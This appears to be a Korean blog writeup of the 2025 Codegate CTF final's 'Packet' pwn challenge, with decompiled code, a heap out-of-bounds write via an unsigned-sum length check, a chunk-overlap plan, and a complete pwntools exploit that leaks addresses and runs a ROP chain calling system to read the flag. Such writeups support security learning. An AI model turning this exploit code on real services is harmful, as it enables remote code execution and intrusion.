CTF/writeup

2025 codegate CTF final writeup

shielder 2025. 7. 21. 23:06

2025.07.10에 열린 codegate CTF final에서 8등을 했다. 6등부터 13등까지 4솔인데 나는 3솔로 8등을 차지했다. 쉬운 문제가 4문제 있었는데, 이 문제들은 빨리 풀 수 있을 것 같아 집중력이 좋을 때 pwn에서 잡을 만한 문제를 먼저 풀기로 했다. pwn에서 좋은 점수를 거두지 못하면 쉬운 문제를 풀어봤자 의미가 없기 때문이다.
폰 1번은 5시간에 걸쳐 익스를 마쳤다. 250점 두 개는 각각 1분 컷 냈고, 대회 시간은 12시간이었기 때문에 폰 2번을 풀면 나머지 쉬운 두 문제 중 하나를 풀면 수상권이었다. 하지만 krop까지만 깎고 간 내 실력으로 kernel UAF를 마주하여 수상권에 들지 못했다. 11시간 동안 포기하지 않고 찾아봤지만 당황한 상황에서 긴 영어 블로그를 (짧다면) 짧은 시간 안에 완벽히 이해할 수는 없었다. 나머지 1시간에는 그냥 3솔인 채로 쉬었다. 지금은 풀 수 있지만, 아쉽진 않고 대회 전 부족한 내 공부를 탓하겠다.
쉬운 두 문제는 1분 컷이기 때문에 건너뛰겠다.

Packet

보호 기법

[*] '/mnt/d/final/packet/prob'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

다 걸려있다.

분석

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  uint16_t v3; // ax
  int v4; // eax
  int optval; // [rsp+1Ch] [rbp-44h] BYREF
  socklen_t addr_len; // [rsp+20h] [rbp-40h] BYREF
  int fd; // [rsp+24h] [rbp-3Ch]
  int v8; // [rsp+28h] [rbp-38h]
  __pid_t v9; // [rsp+2Ch] [rbp-34h]
  sockaddr addr; // [rsp+30h] [rbp-30h] BYREF
  struct sockaddr v11; // [rsp+40h] [rbp-20h] BYREF
  unsigned __int64 v12; // [rsp+58h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  optval = 1;
  addr_len = 16;
  setvbuf(_bss_start, 0LL, 2, 0LL);
  if ( argc != 2 )
  {
    printf("Usage : %s PORT\n", *argv);
    exit(0);
  }
  signal(17, (__sighandler_t)sigchld_handler);
  fd = socket(2, 1, 0);
  setsockopt(fd, 1, 2, &optval, 4u);
  addr.sa_family = 2;
  v3 = atoi(argv[1]);
  *(_WORD *)addr.sa_data = htons(v3);
  *(_DWORD *)&addr.sa_data[2] = 0;
  bind(fd, &addr, 0x10u);
  listen(fd, 5);
  v4 = atoi(argv[1]);
  printf("Server listening on port %d...\n", v4);
  while ( 1 )
  {
    while ( 1 )
    {
      v8 = accept(fd, &v11, &addr_len);
      if ( v8 >= 0 )
        break;
      printf("accept");
    }
    v9 = fork();
    if ( !v9 )
      break;
    if ( v9 <= 0 )
    {
      printf("fork error");
      exit(-1);
    }
    close(v8);
  }
  close(fd);
  puts("Client connected.");
  handle_packet(v8);
}

while 안에서 fork를 수행 중이므로 원하는 만큼 자식 프로세스를 연결할 수 있다. fork는 부모 프로세스의 메모리를 그대로 복사하므로 익스에 활용할 부분이 많다. 하지만 뒤에서 설명하겠듯이 힙 레이아웃이 더럽기 때문에 힙 외의 부분을 고려하고 싶지 않아 풀이에 사용하지는 않았다. 자식 프로세스가 연결되면 handle_packet으로 넘어간다.

void __fastcall __noreturn handle_packet(int a1)
{
  unsigned __int16 v1; // [rsp+10h] [rbp-20h]
  _BYTE v2[21]; // [rsp+1Bh] [rbp-15h] BYREF

  *(_QWORD *)&v2[13] = __readfsqword(0x28u);
  prctl(1, 9LL);
  strcpy(v2, "Enter data: ");
  while ( 1 )
  {
    while ( 1 )
    {
      send_raw(a1, v2, 0xCu);
      flush(a1);
      memset(&packet, 0, 0x18uLL);
      if ( !(unsigned int)recv_raw(a1, &packet, 4u) )
        break;
      printf("Recv error");
      flush(a1);
    }
    v1 = word_4062;
    if ( (unsigned __int16)word_4062 > 2u )
      break;
    if ( packet == 4096 )
    {
      if ( (unsigned int)get_info(a1, (__int64)&packet) )
        puts("get error");
    }
    else if ( (unsigned __int16)packet <= 0x1000u )
    {
      if ( packet == 256 )
      {
        if ( (unsigned int)set_info(a1, (__int64)&packet) )
          puts("set error");
        else
          *(_BYTE *)(**(_QWORD **)&info[8 * v1] + *(unsigned int *)(*(_QWORD *)&info[8 * v1] + 8LL)) = 0;
      }
      else if ( (unsigned __int16)packet <= 0x100u )
      {
        if ( packet == 1 )
        {
          if ( (unsigned int)recv_data(a1, (__int64)&packet) )
          {
            puts("write error");
          }
          else
          {
            *(_BYTE *)((unsigned int)(dword_4064 + dword_4068) + qword_4070) = 0;
            *(_DWORD *)(recvbuf[v1] + 0x10000LL) = dword_4064;
            *(_DWORD *)(recvbuf[v1] + 0x10004LL) = dword_4068;
          }
        }
        else if ( packet == 16 )
        {
          if ( (unsigned int)clear_data(a1, (__int64)&packet) )
            puts("clear error");
        }
      }
    }
  }
  printf("Index error");
  exit(-1);
}
struct input{
  uint16_t cmd;
  uint16_t index;
  uint32_t startpoint;
  uint32_t size;
};

입력은 함수 내부까지 포함하여 12바이트로 구성된다. 아래의 구조체로 정리할 수 있다. send_rawrecv_raw는 부모와 자식 간의 통신을 구현한 함수이다. ida에 정리해놓진 않았는데 &word_4062&packet + 2라서 인덱스가 0, 1, 2로 총 3개만 허용됨을 알 수 있다.

__int64 __fastcall recv_data(int a1, __int64 a2)
{
  _BYTE v3[6]; // [rsp+1Ah] [rbp-16h]
  unsigned int v4; // [rsp+1Ch] [rbp-14h]

  *(_DWORD *)&v3[2] = recv_raw(a1, (void *)(a2 + 4), 8u);
  if ( *(_DWORD *)&v3[2] )
    return *(unsigned int *)&v3[2];
  *(_DWORD *)v3 = *(unsigned __int16 *)(a2 + 2);
  if ( !recvbuf[*(unsigned __int16 *)v3] )
    recvbuf[*(unsigned __int16 *)v3] = malloc(0x10008uLL);
  *(_QWORD *)(a2 + 16) = recvbuf[*(unsigned __int16 *)v3];
  if ( (unsigned int)(*(_DWORD *)(a2 + 4) + *(_DWORD *)(a2 + 8)) > 0xFFFF )
    return *(unsigned int *)&v3[2];
  v4 = recv_raw(a1, (void *)(*(unsigned int *)(a2 + 4) + *(_QWORD *)(a2 + 16)), *(_DWORD *)(a2 + 8));
  if ( v4 )
    return v4;
  else
    return 0LL;
}

recv_data에서는 0x10008 크기를 가진(실제로는 0x10010) 청크(data_chunk라고 부르겠다.)에 데이터를 입력받아 저장한다.
if ( (unsigned int)(*(_DWORD *)(a2 + 4) + *(_DWORD *)(a2 + 8)) > 0xFFFF ) 여기서 oob가 발생한다. *(_DWORD *)(a2 + 4) + *(_DWORD *)(a2 + 8) 계산 후 (unsigned int)를 씌우므로, 0xFFFF를 넘는 양수와 음수를 더하면 조건문을 통과할 수 있다. recv_rawrecv로 구성되어 있으며 recv의 세 번째 인자는 size_t 형이므로 int에서는 음수여도 recv에서는 양수로 취급된다. 따라서 startpoint를 크게 하고 size를 음수로 보내면 할당된 청크 이후로의 힙을 원하는 값으로 쓸 수 있다. recv는 쓰기 불가능한 영역을 만나면 panic을 일으키지 않고 그냥 함수가 종료되므로 힙 청크 끝까지 쓸만큼을 계산해서 그 길이만큼 데이터를 보내면 된다.

__int64 __fastcall set_info(int a1, __int64 a2)
{
  void **v3; // rbx
  unsigned __int16 v4; // [rsp+1Ah] [rbp-16h]
  unsigned int v5; // [rsp+1Ch] [rbp-14h]
  unsigned int v6; // [rsp+1Ch] [rbp-14h]

  v5 = recv_raw(a1, (void *)(a2 + 4), 8u);
  if ( v5 )
    return v5;
  if ( *(_DWORD *)(a2 + 8) > 0x2Fu )
    return 0LL;
  v4 = *(_WORD *)(a2 + 2);
  if ( !recvbuf[v4] )
    return 1LL;
  if ( !*(_QWORD *)&info[8 * v4] )
    *(_QWORD *)&info[8 * v4] = malloc(0x10uLL);
  if ( !**(_QWORD **)&info[8 * v4] )
  {
    v3 = *(void ***)&info[8 * v4];
    *v3 = malloc(0x30uLL);
  }
  v6 = recv_raw(a1, **(void ***)&info[8 * v4], *(_DWORD *)(a2 + 8));
  if ( v6 )
    return v6;
  *(_DWORD *)(*(_QWORD *)&info[8 * v4] + 8LL) = *(_DWORD *)(a2 + 8);
  return 0LL;
}

__int64 __fastcall get_info(int a1, __int64 a2)
{
  __int64 result; // rax
  unsigned __int16 v3; // [rsp+1Ah] [rbp-6h]
  unsigned int v4; // [rsp+1Ch] [rbp-4h]

  v4 = recv_raw(a1, (void *)(a2 + 4), 8u);
  if ( v4 )
    return v4;
  v3 = *(_WORD *)(a2 + 2);
  if ( !recvbuf[v3] )
    return 1LL;
  LODWORD(result) = !*((_QWORD *)&info + v3) || !**((_QWORD **)&info + v3);
  if ( (_DWORD)result )
    return (unsigned int)result;
  send_raw(a1, **((const void ***)&info + v3), 0x30u);
  return 0LL;
}

set_info에서는 첫 번째 청크(info1으로 칭하겠다.) 안에 두 번째 청크(info2으로 칭하겠다.). 주소를 넣는 방식으로 저장을 한다. recv_data를 거친 인덱스여야 하고, info1이 이미 있다면 info2만 새로 할당한다. get_info에서는 info1에 적혀있는 info2의 주소를 참조하여 데이터를 읽고 보낸다.

__int64 __fastcall clear_data(int a1, __int64 a2)
{
  _BYTE v3[6]; // [rsp+1Ah] [rbp-6h]

  *(_DWORD *)&v3[2] = recv_raw(a1, (void *)(a2 + 4), 8u);
  if ( *(_DWORD *)&v3[2] )
    return *(unsigned int *)&v3[2];
  *(_DWORD *)v3 = *(unsigned __int16 *)(a2 + 2);
  if ( !recvbuf[*(unsigned __int16 *)v3] )
    return *(unsigned int *)&v3[2];
  memset((void *)recvbuf[*(unsigned __int16 *)v3], 0, 0x10008uLL);
  if ( *(_QWORD *)&info[8 * *(unsigned __int16 *)v3] )
  {
    free(**(void ***)&info[8 * *(unsigned __int16 *)v3]);
    memset(*(void **)&info[8 * *(unsigned __int16 *)v3], 0, 0x10uLL);
  }
  return 0LL;
}

clear_data에서는 info2는 해제하고, info1data_chunk는 초기화한다.

익스 계획

청크를 아래 순서로 할당한다. ([i]i번째 인덱스에 할당하는 것이다.)

[0] data_chunk(size : 0x10010)
[0] info1(size : 0x20)
[0] info2(size : 0x40)
[1] data_chunk(size : 0x10010)
[1] info1(size : 0x20)
[1] info2(size : 0x40)
top_chunk

heap overflow 취약점을 이용해 size를 아래와 같이 바꿔준다. top_chunksize도 항상 생각해서 넣어준다.

[0] data_chunk(size : 0x10010)
[0] info1(size : 0x20)
[0] info2(size : 0x40 + 0x10010 + 0x20 + 0x40)
([1] data_chunk(size : 0x10010))
top_chunk

새로운 청크를 아래와 같이 할당한다.

[0] data_chunk(size : 0x10010)
[0] info1(size : 0x20)
[0] info2(size : 0x40 + 0x10010 + 0x20 + 0x40)
[1] data_chunk(size : 0x10010) <- invisible
[1] info1(size : 0x20) <- invisible
[1] info2(size : 0x40) <- invisible
top_chunk

0번 인덱스에 clear_data 처리하고, 1번 인덱스에 clear_data 처리한다.

[0] data_chunk(size : 0x10010)
[0] info1(size : 0x20)
[0] info2(size : 0x40 + 0x10010 + 0x20 + 0x40) <- freed(unsorted bin)
[1] data_chunk(size : 0x10010) <- invisible
[1] info1(size : 0x20) <- invisible
[1] info2(size : 0x40) <- invisible & freed(tcache bin)
top_chunk

2번 인덱스에 recv_data0x10010짜리 청크를 할당한다.

[0] data_chunk(size : 0x10010)
[0] info1(size : 0x20)
[2] data_chunk(size : 0x10010)
[0] info2(size : 0x40 + 0x20 + 0x40) <- freed(unsorted bin)
[1] info1(size : 0x20) <- invisible
[1] info2(size : 0x40) <- invisible & freed(tcache bin)
top_chunk

2번 인덱스에 set_info 처리하여 info2를 새로 할당받는다. 이 때 1번 인덱스에 clear_data 처리했기 때문에 [2] info2 청크는 해당 주소가 tcache bin에 있어서 먼저 할당된다. 그 다음 1번 인덱스에 set_info 처리하는데, [2] info1[1] info2 청크는 unsorted bin의 제일 위에서 잘라서 준다. 여기서 힙이 겹치는데 정확한 주소가 궁금하다면 직접 디버깅하는 걸 추천한다. 0번 인덱스에 set_info 처리하면 최종 힙 레이아웃이 아래와 같다.

[0] data_chunk(size : 0x10010)
[0] info1(size : 0x20)
[2] data_chunk(size : 0x10010)
[2] info1(size : 0x20)
[1] info2(size : 0x40)
[1] info1(size : 0x20) <- invisible
[0, 2] info2(size : 0x40)
top_chunk

0번과 2번이 같은 힙을 가리키도록 만들었다. 0번의 info2를 해제하고 2번으로 읽으면 heap_base를 얻을 수 있다. [0] data_chunk가 모든 청크 중 최상위에 있고 heap_base를 구했으므로 모든 청크의 사이즈 조절도 가능하고, heap_base를 아는 상태이다. recv_data[0] info1, [2] info1에 적혀 있는 주소를 [2] data_chunk로 변조하고, 0번 인덱스에 clear_data를 취하면, 청크가 unsorted bin에 들어가기 때문에 2번 인덱스에서 libc_base를 딸 수 있다. 위의 두 예시처럼 자유자재로 aar, aaw이 가능하므로 ROP해준다.(여차하면 1번 인덱스를 사용해도 된다. 위 계획은 1번 인덱스도 사용 가능하다.) 우리에게 출력되게 하는 fd도 스택에 있으므로 읽어준 다음 리다이렉션으로 flag를 읽어준다.
대회 중에는 코드를 예쁘게 짜고 깊게 고민할 시간이 없어 중간에 불필요한 동작이 있을 수 있다. 양해 바란다.

ex.py

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true', help='Connect to remote server')
parser.add_argument('-g', '--gdb', action='store_true', help='Attach GDB debugger')
args = parser.parse_args()

gdb_cmds = [
    'b *$rebase(0x00000000000171a)',
    'c'
]

binary = './prob'

context.binary = binary
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p2 = remote('16.184.29.60', 1337)
port = int(p2.recvline().split(b' ')[0])

if args.remote:
    p = remote("16.184.29.60", port)
else:
    p = process([binary, str(port)])
    if args.gdb:
        gdb.attach(p, '\n'.join(gdb_cmds))
l = ELF('./libc.so.6')

#p.interactive()

def recv_data(idx : int, startpoint : int, sz : int, dt : bytes):
    p.sendafter(b'data: ', p16(1) + p16(idx))
    p.send(p32(startpoint) + p32(sz))
    p.send(dt)

def set_info(idx : int, sz : int, dt : bytes):
    p.sendafter(b'data: ', p16(256) + p16(idx))
    p.send(p32(0) + p32(sz))    
    p.send(dt)

def clear_data(idx : int):
    p.sendafter(b'data: ', p16(16) + p16(idx))
    p.send(p32(0) + p32(0))

def get_info(idx : int):
    p.sendafter(b'data: ', p16(4096) + p16(idx))
    p.send(p32(0) + p32(0))
    return p.recvn(0x30)

recv_data(0, 0, 0, b'\x0a')
set_info(0, 0x20, b'\x00' * 0x20)
recv_data(1, 0, 0, b'\x00')
payload = p64(0x10010 + 0x40 + 0x20 + 0x40 + 1) + b'\x00' * 0x38
payload += p64(0x10011) + b'\x00' * 0x10008
payload += p64(0xcf1)
recv_data(0, 0x10028, -0x10028 & 0xffffffff, payload + b'\x00' * (0x10d38 - len(payload)))
sleep(1)
p.send(b'\x00')
set_info(1, 0x20, b'\x00' * 0x20)
clear_data(1)
clear_data(0)
recv_data(2, 0, 0, b'a')
set_info(0, 0, b'a')
set_info(2, 0, b'a')
set_info(1, 0, b'a')
clear_data(1)
recv_data(1, 0xffc8, 1, b'\x21')
recv_data(1, 0xffe8, 1, b'\x41')
heap_base = (u64(get_info(0)[:8]) << 12) - ((0x0000000556f29479 << 12) - 0x556f29459000)
print(hex(heap_base))
set_info(1, 0, b'a')
# payload = p64(0xa01) + b'\x00' * (0xa00 - 8) + p64(0xc91 + 0x40 - 0xa00) 
# recv_data(1, 0x10028, -0x10028 & 0xffffffff, payload + b'\x00' * (0xcc8 - len(payload)))
# sleep(1)
#p.send(b'\x00')
payload = p64(heap_base + 0x102c0 + 0x10) + b'\x00' * 16
payload += p64(0x10011) + b'\x00' * 0x10008
payload += p64(0x21) + p64(heap_base + 0x102c0 + 0x10) + b'\x00' * 16
payload += p64(0x21) + b'\x00' * 0x18
payload += p64(0x21) + p64(heap_base + 0x102c0 + 0x10) + b'\x00' * 16
payload += p64(0x41) + b'\x00' * 0x38
payload += p64(0xc91)
recv_data(0, 0x10010, -0x10010 & 0xffffffff, payload + b'\x00' * (0x10d50 - len(payload)))
sleep(1)
p.send(b'\x00')
clear_data(0)
l.address = u64(get_info(1)[:8]) - (0x7fd42b62cb20 - 0x7fd42b429000)
print(hex(l.address))
print(hex(l.sym['__environ']))

payload = p64(l.sym['__environ']) + b'\x00' * 16
payload += p64(0x10011) + b'\x00' * 0x10008
payload += p64(0x21) + p64(l.sym['__environ']) + b'\x00' * 16
payload += p64(0x21) + b'\x00' * 0x18
payload += p64(0x21) + p64(l.sym['__environ']) + b'\x00' * 16
payload += p64(0x41) + b'\x00' * 0x38
payload += p64(0xc91)
recv_data(0, 0x10010, -0x10010 & 0xffffffff, payload + b'\x00' * (0x10d50 - len(payload)))
sleep(1)
p.send(b'\x00')
stack = u64(get_info(0)[:8]) - (0x00007fff0be8f460 - 0x7fff0be8f278)
stack2 = u64(get_info(0)[:8]) - (0x00007ffdc2e8ab70 - 0x7ffdc2e8a9f4)
print(hex(stack))
print(hex(stack2))

payload = p64(stack2) + b'\x00' * 16
payload += p64(0x10011) + b'\x00' * 0x10008
payload += p64(0x21) + p64(stack2) + b'\x00' * 16
payload += p64(0x21) + b'\x00' * 0x18
payload += p64(0x21) + p64(stack2) + b'\x00' * 16
payload += p64(0x41) + b'\x00' * 0x38
payload += p64(0xc91)
recv_data(0, 0x10010, -0x10010 & 0xffffffff, payload + b'\x00' * (0x10d50 - len(payload)))
sleep(1)
p.send(b'\x00')
fd = u32(get_info(0)[4:8])
print(hex(fd))

payload = p64(stack2 - 0x34) + b'\x00' * 16
payload += p64(0x10011) + b'\x00' * 0x10008
payload += p64(0x21) + p64(stack2 - 0x34) + b'\x00' * 16
payload += p64(0x21) + b'\x00' * 0x18
payload += p64(0x21) + p64(stack2 - 0x34) + b'\x00' * 16
payload += p64(0x41) + b'\x00' * 0x38
payload += p64(0xc91)
recv_data(0, 0x10010, -0x10010 & 0xffffffff, payload + b'\x00' * (0x10d50 - len(payload)))
sleep(1)
p.send(b'\x00')
pie_base = u64(get_info(0)[8:0x10]) - 0x1e81
print(hex(pie_base))

payload = p64(pie_base + 0x4020) + b'\x00' * 16
payload += p64(0x10011) + b'\x00' * 0x10008
payload += p64(0x21) + p64(pie_base + 0x4020) + b'\x00' * 16
payload += p64(0x21) + b'\x00' * 0x18
payload += p64(0x21) + p64(pie_base + 0x4020) + b'\x00' * 16
payload += p64(0x41) + b'\x00' * 0x38
payload += p64(0xc91)
recv_data(0, 0x10010, -0x10010 & 0xffffffff, payload + b'\x00' * (0x10d50 - len(payload)))
sleep(1)
p.send(b'\x00')
set_info(0, 0x8, p64(stack))


dup2 = l.sym['dup2']
system = l.sym['system']
binsh = list(l.search(b'/bin/sh\x00'))[0]
pop_rdi = l.address + 0x000000000010f75b
pop_rsi = l.address + 0x0000000000110a4d
pop_rdx_rbx_r12_r13_rbp = l.address + 0x00000000000b503c
ret = l.address + 0x000000000002e81b
payload = p64(ret) + p64(pop_rdi) + p64(stack + 0x100) + p64(system)
payload = payload.ljust(0x100, b'\x00')
payload += f'cat /home/ctf/flag >& {fd}\x00'.encode()
#recv_data(0, 0, len(payload), payload)

p.sendafter(b'data: ', p16(1) + p16(0))
p.send(p32(0) + p32(len(payload)))
p.send(payload)
p.interactive()
#recv_data(2, (-0x40 - 0x20 - 0x40 - 0x8) & 0xffffffff, 0x40+0x20+0x40+0x8, payload)
#clear_data(0)

'CTF > writeup' 카테고리의 다른 글

2025 cce quals writeup  (1) 2025.08.17
2025 1753CTF writeup  (0) 2025.04.13
2025 squ1rrel CTF writeup  (0) 2025.04.10
2025 codegate CTF quals writeup  (2) 2025.04.09
2025 SSU CTF writeup  (0) 2025.04.09